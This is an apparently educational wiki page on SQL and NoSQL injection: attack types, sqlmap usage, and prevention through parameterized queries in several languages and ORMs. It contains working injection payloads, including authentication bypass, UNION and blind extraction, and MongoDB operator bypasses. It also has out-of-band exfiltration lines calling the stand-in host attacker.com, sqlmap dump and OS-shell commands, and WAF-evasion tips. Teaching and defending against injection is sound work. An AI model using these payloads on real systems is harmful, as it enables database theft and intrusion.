SQL Injection Deep Dive¶
Comprehensive coverage of SQL injection: in-band (UNION-based), blind (boolean and time-based), out-of-band techniques, sqlmap automation, and prevention via parameterized queries across multiple languages and ORMs.
Key Facts¶
- SQL injection occurs when user input is concatenated into SQL queries without sanitization
- Parameterized queries / prepared statements are the primary defense - not input validation alone
- ORMs use parameterized queries by default, but raw query methods bypass protection
- Blind SQLi extracts data character by character when no error/data is visible in responses
sqlmapautomates detection and exploitation of all SQLi types
Types of SQL Injection¶
Classic In-Band¶
-- Authentication bypass
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- UNION-based data extraction
SELECT * FROM users WHERE id=1 UNION SELECT username,password,3 FROM admin_users--
Blind Boolean-Based¶
Query changes response behavior without showing data:
-- Determine database name length
id=1 AND LENGTH(database())=5
-- Extract character by character
id=1 AND SUBSTRING(database(),1,1)='a'
id=1 AND ASCII(SUBSTRING(database(),1,1))>96
Blind Time-Based¶
Introduce measurable delay to infer true/false:
-- MySQL
id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)
-- MSSQL
id=1; IF (SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:5'
-- PostgreSQL
id=1; SELECT CASE WHEN SUBSTRING(current_database(),1,1)='a'
THEN pg_sleep(5) ELSE pg_sleep(0) END
Out-of-Band¶
Exfiltrate data via DNS or HTTP when no in-band channel exists:
-- MySQL DNS exfiltration
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\x'))
-- MSSQL
EXEC master..xp_dirtree '\\attacker.com\share'
-- Oracle
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual
Patterns¶
sqlmap Automation¶
# Basic detection
sqlmap -u "http://target.com/page?id=1"
# With authentication
sqlmap -u "http://target.com/page?id=1" --cookie="session=abc123"
# Enumerate databases, tables, dump data
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D dbname --tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump
# OS shell (if permissions allow)
sqlmap -u "http://target.com/page?id=1" --os-shell
# POST request
sqlmap -u "http://target.com/login" --data="user=test&pass=test"
Prevention: Parameterized Queries¶
Python (psycopg2):
# WRONG - vulnerable
cursor.execute(f"SELECT * FROM users WHERE id = {user_input}")
# CORRECT
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))
Node.js (pg):
// WRONG
client.query(`SELECT * FROM users WHERE id = ${userId}`)
// CORRECT
client.query('SELECT * FROM users WHERE id = $1', [userId])
Java (JDBC):
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);
ORM Safety¶
ORMs (SQLAlchemy, Django ORM, Prisma, Sequelize) use parameterized queries by default. BUT raw query methods bypass this:
# Django - STILL VULNERABLE if interpolating user input
Model.objects.raw(f"SELECT * FROM table WHERE id = {user_input}")
# Safe
Model.objects.raw("SELECT * FROM table WHERE id = %s", [user_input])
NoSQL Injection¶
MongoDB query injection via JSON operators:
// Vulnerable
db.users.find({ username: req.body.username, password: req.body.password })
// Attack payload (bypasses auth)
{ "username": "admin", "password": { "$ne": "" } }
// Other abused operators: $gt, $regex, $where
{ "username": { "$regex": ".*" }, "password": { "$regex": ".*" } }
Prevention: input type validation (reject objects where strings expected), express-mongo-sanitize middleware, avoid $where operator.
Gotchas¶
- WAF rules catch common patterns but are bypassed by encoding, case variation, or comments (
/**/) - Second-order SQLi: input stored safely, then used in a query elsewhere without parameterization
- Blind SQLi is slow (character by character) but fully automated by tools like sqlmap
- Database user permissions limit damage: read-only user prevents
DROP TABLEeven if injection succeeds - ORMs are safe by default, but every ORM provides a raw query escape hatch that developers misuse
See Also¶
- [[web-application-security-fundamentals]] - OWASP Top 10, other web vulns
- [[database-security]] - user privileges, encryption, auditing
- [[burp-suite-and-web-pentesting]] - testing SQL injection with Burp
- [[secure-backend-development]] - input validation patterns